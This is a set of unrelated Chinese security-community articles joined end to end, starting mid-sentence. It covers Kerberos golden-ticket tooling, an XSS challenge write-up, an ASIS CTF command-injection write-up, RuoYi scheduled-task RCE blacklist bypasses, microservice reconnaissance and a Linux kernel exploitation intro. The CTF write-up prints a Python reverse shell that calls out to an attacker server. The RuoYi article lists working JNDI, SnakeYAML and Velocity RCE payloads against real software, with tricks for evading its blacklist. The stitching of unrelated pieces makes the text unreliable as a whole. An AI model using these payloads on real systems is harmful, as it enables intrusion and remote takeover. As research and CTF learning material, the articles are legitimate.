preauthentication”，然后发AS_REQ的包，直接生成hash或者john可破解的格式
### 2\. impacket
Impact 里面跟AS_REQ相关的脚本主要有两个。
* getTGT
给定密码，哈希或aesKey，此脚本将请求TGT并将其保存为ccache。
这里面需要注意的是用mimikatz，kekeo，rubeus生成的凭据是以.kirbi后缀的。impacket 生成的凭据的后缀是.ccache。
可以通过<https://github.com/rvazarkar/KrbCredExport.git>里面的脚本转化为kirbi
* GetNPUsers
此示例将尝试为那些设置了属性“不需要Kerberos预身份验证”（UFDONTREQUIRE_PREAUTH）的用户列出并获取TGT。输出与JtR兼容。
* ticketer
该脚本将从零开始或基于模板（从KDC合法请求）创建Golden /
Silver票据，允许您自定义PACLOGONINFO结构中设置的一些参数，特别是组，ExtraSids，持续时间等，票据格式是ccache.
首先获取krbtgt的hash
获取域的sid
制作黄金票据
### 3\. mimikatz
* kerberos::golden
mimikatz的kerberos::golden模块可以用于制作黄金票据,票据格式是.kirbi
首先获取krbtgt的hash
获取域的sid
制作黄金票据
### 4\. nmap NSE脚本
12. krb5-enum-users
nmap 里面的这个脚本可以用来枚举域内用户
### 5\.
[DomainPasswordSpray](https://github.com/dafthack/DomainPasswordSpray)
DomainPasswordSpray是用PowerShell编写的工具，用于对域用户执行密码喷洒攻击。默认情况下，它将利用LDAP从域中导出用户列表，然后扣掉被锁定的用户，再用固定密码进行密码喷洒。 | 社区文章 |
# Intigriti XSS Challenge
Intigriti发布了一个有趣的小XSS挑战，它要求创建一个特殊的URL，既可以用来分配iframe的src，也可以发送到一个eval调用来弹出一个警报（document.domain），这是挑战的目标。但是我们如何实现？让我们回到开始，一步步分析。
注意：最终漏洞仅适用于Chrome，因此如果您想要跟进，我建议您使用Chrome。
主要代码：
<script>
const url = new URL(decodeURIComponent(document.location.hash.substr(1))).href.replace(/script|<|>/gi, "forbidden");#document.location.hash打印出‘#’后的内容
const iframe = document.createElement("iframe"); iframe.src = url; document.body.appendChild(iframe);
iframe.onload = function(){ window.addEventListener("message", executeCtx, false);}
function executeCtx(e) {
if(e.source == iframe.contentWindow){
e.data.location = window.location;
Object.assign(window, e.data);
eval(url);
}
}
</script>
## 分析
1. 代码获取hash当前页面的url（＃后面的任何内容），从中解码URL实体，然后用字符串“forbidden”替换“script”，“<”或“>”的任何实例。结果分配给url变量
2. iframe是在当前页面创建，其src是url刚刚创建，有效地加载一个URL到iframe
3. 当iframe完成加载时，我们开始监听message事件并executeCtx在提出时甚至调用
4. 该executeCtx功能已定义:
* 该功能确保事件来自 iframe
* 本次活动的有效载荷的location属性写入当前windows的location，大概是为了再次保护重定向另一个URL
* 有效载荷对象中的每个属性都分配给window带有Object.assign(window, e.data)行（这意味着我发送的任何内容executeCtx都将在window...中定义...非常有趣）
* url变量被eval
阅读完该代码后，我的第一个问题是：`message`事件是什么？事实证明，有一个用于跨源通信的API
`window.postMessage`，它允许您将对象发送给收听该`message`事件的任何人。
## 一步一步的利用
绕过过滤，尝试利用base64
<https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD5hbGVydCgnaGknKTs8L3NjcmlwdD4=，这是base64>
for
`<script>alert('hi');</script>`，我得到了我的`alert！`但是`alert(document.domain)`从内部不起作用，iframe因为它是一个数据URL，并且没有域。我们有一个alert盒子，但我想从外面弹出它，所以我远远没有结束。
Posting a message to the parent window
我们的目标是执行`eval（url）`，我现在需要去post一个message从而执行`executeCtx`函数。所以我尝试刚了解到的这个api并使用以下脚本：`<script>window.postMessage("test",
"*")</script>`，`postMessage`函数的第二个参数是目标源，我明白使用`'*'`是一个坏的尝试，因为它允许任何人可以截断我的message但是我并不在意,毕竟这只是个挑战，所以结果就是构造了如下的url：
>
> <https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucG9zdE1lc3NhZ2UoInRlc3QiLCAiKiIpPC9zY3JpcHQ+>
啥都没有。我在`executeCtx`下了断点但似乎没有命中。让我们回到[MDN](https://developer.mozilla.org/en-US/docs/Web/API/Window/postMessage)了解`postMessage`函数是如何调用的
targetWindow.postMessage(message, targetOrigin, [transfer]);
targetWindow
A reference to the window that will receive the message. Methods for obtaining such a reference include:
- window.open (to spawn a new window and then reference it),
- window.opener (to reference the window that spawned this one),
- HTMLIFrameElement.contentWindow (to reference an embedded <iframefrom its parent window),
- window.parent (to reference the parent
window from within an embedded <iframe>), or
- window.frames + an index value (named or numeric).
所以`postMessage`必须在window能够接收message的情况下被调用。于是调整我们的payload：`<script>window.parent.postMessage("test",
"*")</script>`。我想要message能够被主视窗接收，所以`iframe`就是`windows.parent`，新的url如下：
>
> <https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKCJ0ZXN0IiwgIioiKTwvc2NyaXB0Pg>
好的！现在我得到了一个来自`executeCtx`的js错误
(index):31 Uncaught TypeError: Failed to set an indexed property on 'Window': Index property setter is not supported.
at Function.assign (<anonymous>)
at executeCtx ((index):31)
这是因为数据是一个字符串所以我们遇到了`Object.assign(window,
e.data);`问题。让我们先发送一个空对象。payload如下：`<script>window.parent.postMessage({},
"*")</script>`，转换为url如下：
>
> <https://challenge.intigriti.io/#data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+>
结果是`Uncaught SyntaxError: Unexpected end of
input`由`eval(url)`这一行抛出。所以如下的值`data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+`是无法去解析url变量中的有效js。
## 将url转为js
现在我们的目标是让`eval(url)`解析有效的js（还没到思考xss的时候）。我知道有很多东西都能作为有效的js所以我跳出这个挑战尝试运行：`eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ+')`在我的控制台。如期望一样发生了相同的错误。“Unexpected
end of input”
意味着解析器期望另一个token但已经到达了字符串的末尾。我的url是以`+`结束，对于JS的表达式而言它没有什么实际意义，所以让我们将他剔除。这会让我们的base64字符串无效但我们之后会回到这个地方
eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ')
VM42:1 Uncaught ReferenceError: text is not defined
at eval (eval at <anonymous> ((index):1), <anonymous>:1:6)
at <anonymous>:1:1
什么？`text` is not defined？起先我不知道`text`来自于哪儿，但我回看的时候。。。好吧。然后我令`text=1`再次执行`eval`
> text = 1
1
> eval('data:text/html;base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ')
VM70:1 Uncaught ReferenceError: html is not defined
at eval (eval at <anonymous> ((index):1), <anonymous>:1:11)
at <anonymous>:1:1
哦！`html`？对了！url未带`+`结束是一个有效的JS。还是不懂？下面是url缩进之后：
> data: // a label for a goto
>
> text/html; // divides the variable text by the variable html
>
> base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ
> // evalutes the base64 variable and the
> PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt9LCAiKiIpPC9zY3JpcHQ variable
> then returns the latter (see , operator)
它肯定不是连贯的代码，但它是有效的JavaScript代码。字符串末尾的`+`只是一个简单的base64组件。我不断改进我的payload，只要遇到`+`则将他丢进垃圾桶直到以字母为结尾的base64编码能够是他成为有效的变量名
## 最后考虑XSS
所以如何让`eval`执行js呢，如何放入`alert(document.domain)`？我们回到[MDN](https://developer.mozilla.org/)了解data协议并寻找哪里能放入我的`alert`
data:[<mediatype>][;base64],<data>
The mediatype is a MIME type string, such as 'image/jpeg' for a JPEG image file. If omitted, defaults to text/plain;charset=US-ASCII
`; charset = US-ASCII`引起了我的注意。也许我可以把我的有效载荷放在那里？它甚至看起来像一个JavaScript变量赋值！所以我在我的控制台中尝试这个
> text = 1
1
> html = 1
1
> eval('data:text/html;charset=alert(1);base64,whatever')
Uncaught ReferenceError: base64 is not defined
at eval (eval at <anonymous> ((index):1), <anonymous>:1:33)
at <anonymous>:1:1
是的！`alert`成功pop了！虽然它抱怨base64没有被定义但是alert成功了那么又何必在意呢？是时候转向网站了！我更改我的payload为`<script>window.parent.postMessage({text:1,
html:1, base64:1}, "*")</script>hi intigriti`记住`Object.assign(window,
e.data)`这行将携带我post的message从而对`text`和`html`变量进行定义（我定义了base64但那不重要），末尾的`hi
intigriti`可以逃离base64编码造成的末尾`+`存在。
于是url变为：
>
> <https://challenge.intigriti.io/#data:text/html;charset=alert(1);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp>
但是。。。并没有奏效
data URLs最棒的一点就是你可以将他们放在你的地址栏然后查看结果，这一data URL：
>
> data:text/html;charset=alert(1);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp
回显的信息是“This site can’t be reached”，研究了一阵我发现`alert(1)`的括号搞砸了这一切
## 最后一步
我花了大量的时间努力寻求不需要括号去调用函数的可替代方式直到我发现或许我并不需要`charset=`，或许移除它就能绕过破坏我url的字符验证。现在尝试：
>
> <https://challenge.intigriti.io/#data:text/html;alert(1);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp>
`alert(1)`成功了！，最后稍微调整一下
>
> <https://challenge.intigriti.io/#data:text/html;alert(document.domain);base64,PHNjcmlwdD53aW5kb3cucGFyZW50LnBvc3RNZXNzYWdlKHt0ZXh0OjEsIGh0bWw6MSwgYmFzZTY0OjF9LCAiKiIpPC9zY3JpcHQ+aGkgaW50aWdyaXRp>
**注意**
：早上我升级了我的chrome，上述的方法100%不奏效了。我并没有额外的测试但我认为是因为`iframe`是在`message`事件监听被启用前调用的。所以添加一个`setTimeout`去延迟`postMessage`调用可能会修复这个问题，这一建议由[@ephreet](https://twitter.com/ephreet1/status/1124220724770738176).提出
## 总结
作为xss挑战，这有大量的代码审计。下面就是我的主要步骤：
* 理解代码是如何运行的将有很大帮助
* 不要过多关注目标，而是要有计划的针对中间步骤
* 当你对要解决的挑战手足无措时不要紧张，解决好每一步，答案便会逐渐清晰
谢谢[@intigriti](https://twitter.com/intigriti/)我玩得很开心！恭喜大家，祝你们好运！ | 社区文章 |
# ASIS CTF - 三个魔法Web关WriteUp
|
##### 译文声明
本文是翻译文章，文章来源：thegoonies.rocks
原文地址：<https://thegoonies.rocks/asis-ctf-three-magic-web/>
译文仅供参考，具体内容表达以及含义原文为准。
比赛 : ASIS CTF
挑战名: Three Magic
类型 : Web
点数 : 267 pts
URL : <https://3magic.asis-ctf.ir/3magic/>
第一眼看这个挑战，通常是过滤一些字符或者增加一些限制来阻止命令执行，我通过输入&id到addr域，成功返回执行结果，可以确定这是一道命令执行的挑战题。
下一步我们来找出过滤和限制。通过测试，我们发现不能够输入空格，/，并且只能输入15个字符。
运行find和set命令，我们能够发现一些信息。
Result of the command find:
.
./index.php
./pages
./pages/ping.php
./pages/Adm1n1sTraTi0n2.php
./files
find: `./files': Permission denied
我们看到，/pages文件夹下有一些.php文件，/files文件夹，我们没有权限访问，还有一个比较有趣的文件叫Adm1n1sTraTi0n2.php
打开后是一个上传页面，上传图片后，会返回类似file
image.png命令返回的信息，但是我们不知道上传后的文件保存路径，现在的思路是，只能通过前面的命令执行漏洞来读取php源码，因为过滤了空格和/，所以我们使用grep来递归读文件，我这里使用的是&{grep,-nrw,.}
index.php
--------- <title>3magic</title>
<li>
<a href='?page=ping'>ping</a>
</li>
<?php
if ($_SERVER['REMOTE_ADDR'] == '127.0.0.1') {
?>
<li>
<a href='?page=Adm1n1sTraTi0n2'>admin</a>
</li>
<?php
}
?>
<hr>
<?php
if (isset($_GET['page'])) {
$p = $_GET['page'];
if (preg_match('/(://)/', $p)) {
die('attack detected');
}
include("pages/".$p.".php");
die();
}
?>
ping.php
-------- <p>ping</p>
<form action="./?page=ping" method="POST">
<input type="text" name="addr" placeholder="addr">
<input type="submit" value="send">
</form>
<textarea style="width: 300px; height: 300px" placeholder="result">
<?php
if (isset($_POST['addr'])) {
$addr = $_POST['addr'];
if (preg_match('/[`;$()| /'>"t]/', $addr)) {
die("invalid character detected");
}
if (strpos($addr, ".php") !== false){
die("invalid character detected");
}
if (strlen($addr) > 15) {
die("addr is too long");
}
@system("timeout 2 bash -c 'ping -c 1 $addr' 2>&1");
}
?>
</textarea>
Adm1n1sTraTi0n2.php
------------------- <p>image inspector</p>
<?php
mt_srand((time() % rand(1,10000) + rand(2000,5000))%rand(1000,9000)+rand(2000,5000));
// files directory flushed every 3min
setcookie('test', mt_rand(), time(), '/');
if (isset($_POST['submit'])) {
$check = getimagesize($_FILES['file']['tmp_name']);
if($check !== false) {
echo 'File is an image - ' . $check['mime'];
$filename = '/var/www/html/3magic/files/'.mt_rand().'_'.$_FILES['file']['name']; // prevent path traversal
move_uploaded_file($_FILES['file']['tmp_name'], $filename);
echo "<br>n";
system('/usr/bin/file -b '.escapeshellarg($filename));
echo "<br>n";
} else {
echo "File is not an image";
}
}
?>
<form action="?page=Adm1n1sTraTi0n2" method="post" enctype="multipart/form-data">
Select image to upload:
<input type="file" name="file">
<input type="submit" value="Upload Image" name="submit">
</form>
index.php:
通过源码可以看出这个文件的page参数有LFI漏洞，但是不能够进一步利用，因为服务器安装的PHP版本，已经修补了%00截断漏洞
图像验证只是通过getsizeimage()函数验证了图像大小，上传的文件名通过文件名+随机数生成
当访问页面的时候，会通过mt_srand()生成随机数种子，随后会用mt_rand()生成随机数在cookie里，最后结合上传后的文件名，存放到/files目录中
mt_rand()已知的是有漏洞的，我们能从任意mt_rand()值中恢复种子，如果想了解细节，可以参考这篇文章<http://www.openwall.com/php_mt_seed/README>，也可以下载利用工具<http://download.openwall.net/pub/projects/php_mt_seed/php_mt_seed-3.2.tar.gz>
现在攻击思路清晰了，我们首先上传一个.php文件，其实就是在一个图片文件的末尾加上<?php system($_GET['c']);
?>，以便绕过getsizeimage()函数。然后在cookie中test字段找到mt_rand()生成的值，使用php_mt_seed工具恢复种子，最后再使用mt_rand()结合上传的文件名，访问/files下的文件。
具体攻击流程如下：上传image.php文件，查看cookie中的test值
使用php_mt_seed恢复种子
vagrant@vagrant-ubuntu-trusty-64:~/php_mt_seed-3.2$ ./php_mt_seed 1661750892
Found 0, trying 0 - 33554431, speed 0 seeds per second
seed = 6658
通过恢复出的种子，再用mt_rand()生成
vagrant@vagrant-ubuntu-trusty-64:~/ctf$ php -r 'mt_srand(6658); echo mt_rand(), "n";echo mt_rand();'
1661750892
350321027
拼接随机数和上传的文件名，执行反弹操作
https://3magic.asis-ctf.ir/3magic/files/350321027_image.php?c=python%20-c%20%27import%20socket,subprocess,os;s=socket.socket%28socket.AF_INET,socket.SOCK_STREAM%29;s.connect%28%28%22[MY_SERVER]%22,80%29%29;os.dup2%28s.fileno%28%29,0%29;%20os.dup2%28s.fileno%28%29,1%29;%20os.dup2%28s.fileno%28%29,2%29;p=subprocess.call%28[%22/bin/sh%22,%22-i%22]%29;%27
通过反弹的shell，寻找flag
root@pimps:~# nc -lvp 80
Listening on [0.0.0.0] (family 0, port 80)
Connection from [66.172.11.62] port 80 [tcp/http] accepted (family 2, sport 52079)
/bin/sh: 0: can't access tty; job control turned off
$
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ uname -a
Linux web-tasks 3.16.0-4-amd64 #1 SMP Debian 3.16.7-ckt25-2 (2016-04-08) x86_64 GNU/Linux
$ cd /
$ ls
bin
boot
dev
etc
flag
home
initrd.img
initrd.img.old
lib
lib32
lib64
lost+found
media
mnt
opt
proc
read_flag
root
run
sbin
srv
sys
tmp
usr
var
vmlinuz
vmlinuz.old
$ ./read_flag
Segmentation fault
$ python -c 'import pty; pty.spawn("/bin/bash")'
www-data@web-tasks:/$
www-data@web-tasks:/$ ./read_flag
./read_flag
Write "*please_show_me_your_flag*" on my tty, and I will give you flag :)
*please_show_me_your_flag*
*please_show_me_your_flag*
ASIS{015c6456955c3c44b46d8b23d8a3187c}
www-data@web-tasks:/$ | 社区文章 |
若依的rce点有两处，一处是定时任务，另外一处是thymeleaf的模板注入，本文着重针对定时任务的黑名单绕过
rce的原理分析其他师傅的文章已经讲的很明白了，此文不过多赘述
若依的定时任务为我们提供了可以执行某些类的某些方法，这些类方法必须满足以下条件
* 具有无参构造方法
* 调用的方法需要是类自身声明的方法，不能是他的父类方法
* 构造方法和调用的方法均为 public
## <4.6.2
这个版本之前无任何限制，可直接使用公开poc打
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://192.168.3.3:2333/yaml-payload.jar"]]]]')
org.springframework.jndi.JndiLocatorDelegate.lookup('rmi://127.0.0.1:1099/refObj')
javax.naming.InitialContext.lookup('ldap://127.0.0.1:9999/#Exploit')
#### 不出网rce
这个版本下网上公开的大多为出网的利用，snakeyaml本身有个不出网写文件poc，但是在若依这里，逗号会造成截断，snakeyaml不支持unicode，十六进制编码，所以效果并不是纳闷好
但是我们可以使用file协议达到不出网的利用，前提是我们可以上传一个文件，这个文件的后缀可以是任意，若依提供了一个接口可以进行上传
此时我们需要找到上传后的绝对路径，但是上传路径写于配置文件中，对于linux来说大多都会进行修改
恰好若依的配置类是public修饰且有无参构造方法，setProfile也为public修饰
我们可以利用计划任务发射修改这个值，达到可控目录上传，从而利用file协议达到稳定的不出网rce
poc
com.ruoyi.common.config.RuoYiConfig.setProfile('E:/test')
org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file://上传的绝对路径"]]]]')
## >=4.6.2 <4.7.2
这个版本采用了黑名单限制调用字符串
* 定时任务屏蔽ldap远程调用
* 定时任务屏蔽http(s)远程调用
* 定时任务屏蔽rmi远程调用
### bypass
我们依然可以用上面的file协议达到不出网的rce效果，不过这个黑名单还有其他的绕过方式
#### ldaps
上面协议并没用禁止掉ldaps的调用，我们需要在我们ldap服务器上搭载一层ssl，依然可以实现ldap注入，不过相关实现比较麻烦
#### 其他协议
例如ftp，file协议
#### 单引号
针对调用字符串的处理，若依会将参数中的所有单引号替换为空，这就为我们提供了可乘之机，我们只需要在我们调用的危险字符间加入单引号即可绕过
poc:
org.springframework.jndi.JndiLocatorDelegate.lookup('r'm'i://127.0.0.1:1099/refObj')
## 4.7.2
这个版本的解决办法依然是加入黑名单
网上公开的poc全部不可用，这里我跟了下class.forname的native层代码并没有找到可用的一些变形，java/net/URL这种会在native层抛出报错
解决办法只能寻找新的类，我暂时总结了一下依靠字符串可以造成rce的点
* jndi
* urlclassloader（[GroovyClassLoader](https://tttang.com/archive/1405/#toc_groovyclassloader)）
* 命令执行
* 表达式
* 加载指定路径的动态链接库文件
* 反序列化
* jdbc反序列化(8.0.20)
但是这里又带来了新的问题，满足只能字符串造成rce的点基本都是远程调用，而若依又屏蔽了相关的关键字，我找到了jndibypass常用的一个类javax.el.ELProcessor#eval，但是调用此类的时候发现表达式中的右括号，若依在处理的时候会造成截断
调用字符串只要出现)后面的字符串就会被丢弃。此路不通
### bypass
#### ldaps
这里黑名单依然没有限制ldaps，不过我们得寻找一个新得类进行ldaps注入，这里提供一个
poc：
org.springframework.jdbc.datasource.lookup.JndiDataSourceLookup.getDataSource('ldaps://xxx')
#### 配置文件rce
这里灵感来源于log4j得配置文件rce，我们找到了velocity的配置文件，这里可以配置我们的jndi地址，我们需要找到一个source点
org.apache.velocity.runtime.RuntimeInstance#init
这里的setProperties便是读取输入的配置文件路径并生成一个配置类，只要我们文件可控，这个配置类便完全可控，配置文件示例
resource.loader = ds
ds.resource.loader.public.name = DataSource
ds.resource.loader.description = Velocity DataSource Resource Loader
ds.resource.loader.class = org.apache.velocity.runtime.resource.loader.DataSourceResourceLoader
ds.resource.loader.datasource_url = ldap://xxx:1389/TomcatBypass/Command/Base64/Y2FsYy5leGU=
ds.resource.loader.resource.table = tb_velocity_template
ds.resource.loader.resource.keycolumn = id_template
ds.resource.loader.resource.templatecolumn = template_definition
ds.resource.loader.resource.timestampcolumn = template_timestamp
ds.resource.loader.cache = false
ds.resource.loader.modificationCheckInterval = 60
不同版本的velocity，配置文件写法有所差异
跟进init方法
跟进initializeResourceManager方法
跟进initialize方法，这里会根据配置文件中的resource.loader.class
选择合适的resourceloader，我们选择datasourceresourceloader，这里可以到达我们的sink点
到达datasourceresourceloader的init方法，这里的datasource我们可以根据配置文件进行控制
而sink点在此类下的openDBConnection方法，datasourcename我们完全可控
我们回到org.apache.velocity.runtime.RuntimeInstance#init方法，设置完resourceloder后，velocity会根据配置文件得到的配置类进行相关初始化与check，而其中的initVelocimacro会check
datasourcename
调用栈如下
我们通过上面4.6.2版本的方法可控目录上传一个配置文件即可绕过若依的黑名单，通过org.apache.velocity.runtime.RuntimeInstance#init达到稳定出网rce
poc：
org.apache.velocity.runtime.RuntimeInstance.init('E:/ee.txt')
#### 不出网rce
这里利用的是com.sun.glass.utils.NativeLibLoader#loadLibrary方法(浅蓝师傅jndi
byapss文章中提到的)，我们只需要上传一个.dll(.so)文件即可通过此方法执行命令，但是较为可惜的是，此方法限制了后缀必须为.dll
.so，这在若依里是没办法上传的
这里需要我们重新挖掘一个类，帮助我们可以重命名一个文件，感兴趣的师傅可以研究一下
## 4.7.3（最新版）
这个版本刚好今天更新(3.1)限制改为了黑白名单，只能调用com.ruoyi包下的类!
暂时没有好的绕过思路。 | 社区文章 |
随着web安全从业人员的增多，很多人都有个疑问：怎么洞越来越难挖了!!?大网站是不是没有这些漏洞!!?
原因是多样性的，一方面是漏洞隐藏的越来越深，另一方面是网站的架构正在发生改变；所以我们除了要提升自己的技术能力之外，我们也要顺应互联网的发展，针对不同的网站架构寻找不同着手点，也就是扩大信息收集的范围，这篇文章就是对微服务下信息收集的浅谈。在介绍正题之前，先聊聊网站应用的发展史。
## 网站应用发展
### 单一应用架构
当网站流量很小时，只需一个应用，将所有功能都部署在一起，以减少部署节点和成本。此时，用于简化增删改查工作量的数据访问框架(ORM)是关键。
### 垂直应用架构
当访问量逐渐增大，单一应用增加机器带来的加速度越来越小，将应用拆成互不相干的几个应用，以提升效率。此时，用于加速前端页面开发的Web框架(MVC)是关键。
### 分布式服务架构
当垂直应用越来越多，应用之间交互不可避免，将核心业务抽取出来，作为独立的服务，逐渐形成稳定的服务中心，使前端应用能更快速的响应多变的市场需求。此时，用于提高业务复用及整合的分布式服务框架(RPC)是关键。
### 流动计算架构
当服务越来越多，容量的评估，小服务资源的浪费等问题逐渐显现，此时需增加一个调度中心基于访问压力实时管理集群容量，提高集群利用率。此时，用于提高机器利用率的资源调度和治理中心(SOA)是关键。
### 微服务
紧接着就是微服务，微服务最初的概念是由`Martin
Fowler`提出，在他的[博客](https://martinfowler.com/)中提出“微服务架构是一种架构模式，它提倡将单一应用程序划分成一组小的服务，服务之间相互协调、互相配合，为用户提供最终价值。每个服务运行在其独立的进程中，服务和服务之间采用轻量级的通信机制相互沟通（通常是基于HTTP的Restful
API)。每个服务都围绕着具体的业务进行构建，并且能够被独立的部署到生产环境、类生产环境等。另外，应尽量避免统一的、集中的服务管理机制，对具体的一个服务而言，应根据业务上下文，选择合适的语言、工具对其进行构"。
下面给一张微服务的架构图，我们的信息收集也将由此展开：
## 基于微服务的信息收集
从上面的网站架构的发展史来看,随着功能的增加和重叠，把所有的功能都逐渐细化，由之前的所有都在一起，细化到甚至是一个功能一个服务器(docker)，虽然看似前面有各类云waf和nginx反代阻碍我们，但我们需要记住两点：
1. 后面的服务看似实在内网，但其实都是在云上，都有自己的公网ip
2. 各种服务之间相互联系，可以搜索的和利用的点增加，只要一个点进去，那么很快就可以拿下全部
基于这两点，我们可以采用盲人摸象的方法逐步探测出目标的构造，其中最简单的，就是收集目标相关的域名、目录和参数。
我们对域名和目录收集方式最多的就是爆破，通过大量的数据去跑，但是随着时间的发展，这些方法虽然能用，但是不太好用，我们需要考虑更好的方法收集这些，比如`API`。
1. 通过`微信小程序`收集
很多时候，许多和目标相关的`URL`我们无法通过以前的方式搜集到，那么如果目标存在微信小程序，那么我们可以尝试从微信小程序收集些信息。
如下图，很多内容都是通过常规手段无法收集到的，接下来可操作范围比较广，按照常规思路，我们可以使用一些工具爆破目录，如下图。
但是很尴尬，我们使用以前常用的字典很难像之前那样轻易找到大量目录或者隐藏的文件，这时候我们需要想办法重新找到入口点，比如从js文件中寻找。
2. 通过`js`收集，`url`,`目录`和`参数`
不可否认，`js`里面蕴藏了很多有意思的内容，除了大量的域名之外，其中最重要的莫过于`目录`和`参数`，在实战中发现，通过`js`发现的`目录`和`参数`收集起来，组成字典，通过`fuzz`的思想进行随机组合，会有很多惊喜的出现，出现的这些内容是以往的信息收集无法找到的，因为一些原因，这些截图无法放出，但是可以给大家分享一个项目，这个项目就可以收集`js`里的部分内容：<https://github.com/Threezh1/JSFinder。>
如上图所示，通过`js`我们能找到很多和目标相关的信息，其中包括大量的`子域名`和`相关的url`,比如从上图中我们看到有`1177条urls`和`95条子域名`，当然我们也能找到一些`api`信息。
当我们爬取到足够的参数时，就可以结合之前收集的`url`进行测试，比如：
这种状况是我们最常见的，访问目录`403`,这时我们猜测是缺少参数。这时候我们就可以通过收集的大量的参数进行模糊测试(以前是爆破后台等，现在是爆破参数)。制作参数字典，我们可以通过`js`里的参数来构造字典，也可以通过github收集常用的参数制作字典，待以后遇到同类型的网站的时候可以直接通过相关软件去测试。
这里我们举个做字典的小方法：
1. 在[github](https://github.com/)上搜索`$_GET`,然后点击左侧的`code`
2. 爬取相关参数制作字典
有了字典，我们可以通过`burp`的爆破功能做个测试。测试如下图。
然后根据通过返回的结果进行判断，因为一些原因，成功的截图就不放出来了。
随着技术的发展，很多大厂的漏洞越藏越深，作为安全人员，我们也要想尽办法扩大测试范围，挖掘那些隐藏的漏洞。
参考链接：
<http://dubbo.apache.org/zh-cn/docs/user/preface/background.html>
<https://www.zhihu.com/question/65502802> | 社区文章 |
# Linux内核漏洞利用技术：覆写modprobe_path
|
##### 译文声明
本文是翻译文章，文章原作者 lkmidas，文章来源：lkmidas.github.io
原文地址：<https://lkmidas.github.io/posts/20210223-linux-kernel-pwn-modprobe/>
译文仅供参考，具体内容表达以及含义原文为准。
## 0x00 前言
如果大家阅读过我此前发表的Linux内核漏洞利用的相关文章，可能会知道我们最近一直在学习这块内容。在过去的几周里，我的团队参加了DiceCTF和UnionCTF比赛，其中都包括了Linux内核PWN题目。凭借我有限的知识，在比赛过程中没有解出这类题目。但是通过阅读其他优秀CTF团队和成员的文章，我发现他们很多人都在使用一种相似的技术，这样一来在使用Payload时就完全不需要经历调用`prepare_kernel_cred()`和`commit_creds()`的这个痛苦过程。该技术是通过覆盖内核中的`modprobe_path`来实现的。这项技术对我来说是全新的，因此我在网上进行了一些调研，并尝试进行实验。事实证明，这种技术非常流行，并且易于使用，由此我终于明白了为什么很多人都会倾向于使用这种方法，而不再使用传统方法。
不过，在我的研究过程中，没有看到能够清晰解释该技术的文章，因此我决定写这篇文章来做详细分析。这个技术本身一点都不复杂，我甚至可以说，它比我之前文章所展现的技术要简单得多。为了在本文中进行演示，我会使用hxpCTF
2020的kernel-rop挑战作为示例，我发现这个题目非常适合用于演示。
希望这篇文章可以帮助大家了解这种漏洞利用的技术原理。
## 0x01 题目说明
因为我希望这篇文章能与我之前的系列文章区分开，因此我在这里再对kernel-rop挑战的题目进行说明。如果大家已经了解这道题目，可以跳过这一小节。
简而言之，在这道题目中给我们提供了以下文件：
（1）vmlinuz – 压缩后的Linux内核；
（2）initramfs.cpio.gz – Linux文件系统，其中包含了存在漏洞的内核模块调用`hackme.ko`；
（3）run.sh – 包含qemu运行命令的Shell脚本。
而这些是我们可以从这些文件中得到的信息：
（1）系统有完善的保护措施，包括SMEP、SMAP、KPTI和KASLR；
（2）Linux内核使用了FG-KASLR，这是KASLR的一个分支版本，它通过随机化每个函数的地址来增加额外的保护层，而不仅仅是保护内核基址；
（3）存在漏洞的模块在`hackme_init()`中注册了一个名为hackme的设备，我们可以打开它，并对其进行读写操作；
（4）hackme_read()和hackme_write()函数存在栈缓冲区溢出漏洞，我们可以在内核栈上几乎无限地读写。
ssize_t __fastcall hackme_write(file *f, const char *data, size_t size, loff_t *off)
{
//...
int tmp[32];
//...
if ( _size > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
BUG();
}
_check_object_size(hackme_buf, _size, 0LL);
if ( copy_from_user(hackme_buf, data, v5) )
return -14LL;
_memcpy(tmp, hackme_buf);
//...
}
ssize_t __fastcall hackme_read(file *f, char *data, size_t size, loff_t *off)
{
//...
int tmp[32];
//...
_memcpy(hackme_buf, tmp);
if ( _size > 0x1000 )
{
_warn_printk("Buffer overflow detected (%d < %lu)!\n", 4096LL, _size);
BUG();
}
_check_object_size(hackme_buf, _size, 1LL);
v6 = copy_to_user(data, hackme_buf, _size) == 0;
//...
}
以上就是我们介绍的CTF挑战题目和环境，非常简单也非常典型。接下来，我们进入到最重要的部分，解释漏洞利用技术。
